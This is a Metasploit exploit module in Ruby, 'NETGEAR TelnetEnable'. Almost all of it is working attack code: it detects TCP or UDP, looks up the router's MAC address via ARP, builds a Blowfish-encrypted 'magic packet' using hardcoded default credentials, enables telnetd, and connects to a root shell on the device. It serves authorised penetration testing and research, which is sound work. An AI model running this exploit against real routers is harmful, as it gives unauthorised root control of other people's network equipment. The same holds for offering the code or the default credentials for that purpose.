1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 |
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Tcp include Msf::Exploit::Capture def initialize(info = {}) super(update_info(info, 'Name' => 'NETGEAR TelnetEnable', 'Description'=> %q{ This module sends a magic packet to a NETGEAR device to enable telnetd. Upon successful connect, a root shell should be presented to the user. }, 'Author' => [ 'Paul Gebheim', # Python PoC (TCP) 'insanid',# Python PoC (UDP) 'wvu',# Metasploit module ], 'References' => [ ['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'], ['URL', 'https://github.com/cyanitol/netgear-telenetenable'], ['URL', 'https://github.com/insanid/netgear-telenetenable'] ], 'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP) 'License'=> MSF_LICENSE, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Payload'=> { 'Compat' => { 'PayloadType'=> 'cmd_interact', 'ConnectionType' => 'find' } }, 'Targets'=> [ ['Automatic (detect TCP or UDP)', proto::auto ], ['TCP (typically older devices)', proto::tcp, username: 'Gearguy', password: 'Geardog' ], ['UDP (typically newer devices)', proto::udp, username: 'admin', password: 'password' ] ], 'DefaultTarget'=> 0 )) register_options([ Opt::RPORT(23), OptString.new('MAC',[false, 'MAC address of device']), OptString.new('USERNAME', [false, 'Username on device']), OptString.new('PASSWORD', [false, 'Password on device']) ]) end def check # Run through protocol detection detect_proto # This is a gamble, but it's the closest we can get if @proto == :tcp CheckCode::Detected else CheckCode::Unknown end end def exploit # Try to do the exploit unless telnetd is detected @do_exploit = true # Detect TCP or UDP and presence of telnetd @proto = target[:proto] detect_proto if @proto == :auto # Use supplied or ARP-cached MAC address configure_mac if @do_exploit # Use supplied or default creds configure_creds if @do_exploit # Shell it exploit_telnetenabled if @do_exploit connect_telnetd end def detect_proto begin connect res = begin sock.get_once || '' rescue EOFError '' end # telnetenabled returns no data, unlike telnetd if res.length == 0 print_good('Detected telnetenabled on TCP') else print_good('Detected telnetd on TCP') @do_exploit = false end @proto = :tcp # It's UDP... and we may not get an ICMP error... rescue Rex::ConnectionError print_good('Detected telnetenabled on UDP') @proto = :udp ensure disconnect end end def configure_mac @mac = datastore['MAC'] return if @mac print_status('Attempting to discover MAC address via ARP') begin open_pcap @mac = lookup_eth(rhost).first rescue RuntimeError fail_with(Failure::BadConfig, 'Superuser access required') ensure close_pcap end if @mac print_good("Found MAC address #{@mac}") else fail_with(Failure::Unknown, 'Could not find MAC address') end end def configure_creds @username = datastore['USERNAME'] || target[:username] @password = datastore['PASSWORD'] || target[:password] # Try to use default creds if no creds were found unless @username && @password tgt = targets.find { |t| t[:proto] == @proto } @username = tgt[:username] @password = tgt[:password] end print_good("Using creds #{@username}:#{@password}") end def exploit_telnetenabled print_status('Generating magic packet') payload = magic_packet(@mac, @username, @password) begin print_status("Connecting to telnetenabled via #{@proto.upcase}") @proto == :tcp ? connect : connect_udp print_status('Sending magic packet') @proto == :tcp ? sock.put(payload) : udp_sock.put(payload) rescue Rex::ConnectionError fail_with(Failure::Disconnected, 'Something happened mid-connection!') ensure print_status('Disconnecting from telnetenabled') @proto == :tcp ? disconnect : disconnect_udp end # Wait a couple seconds for telnetd to come up print_status('Waiting for telnetd') sleep(2) end def connect_telnetd print_status('Connecting to telnetd') connect handler(sock) end # NOTE: This is almost a verbatim copy of the Python PoC def magic_packet(mac, username, password) mac = mac.gsub(/[:-]/, '').upcase if mac.length != 12 fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -') end just_mac = mac.ljust(0x10, "\x00") if username.length > 0x10 fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes') end just_username = username.ljust(0x10, "\x00") if @proto == :tcp if password.length > 0x10 fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes') end just_password = password.ljust(0x10, "\x00") elsif @proto == :udp # Thanks to Roberto Frenna for the reserved field analysis if password.length > 0x21 fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes') end just_password = password.ljust(0x21, "\x00") end cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00") md5_key = Rex::Text.md5_raw(cleartext) payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00")) secret_key = 'AMBIT_TELNET_ENABLE+' + password byte_swap(blowfish_encrypt(secret_key, payload)) end def blowfish_encrypt(secret_key, payload) cipher = OpenSSL::Cipher.new('bf-ecb').encrypt cipher.padding = 0 cipher.key_len = secret_key.length cipher.key = secret_key cipher.update(payload) + cipher.final end def byte_swap(data) data.unpack('N*').pack('V*') end end |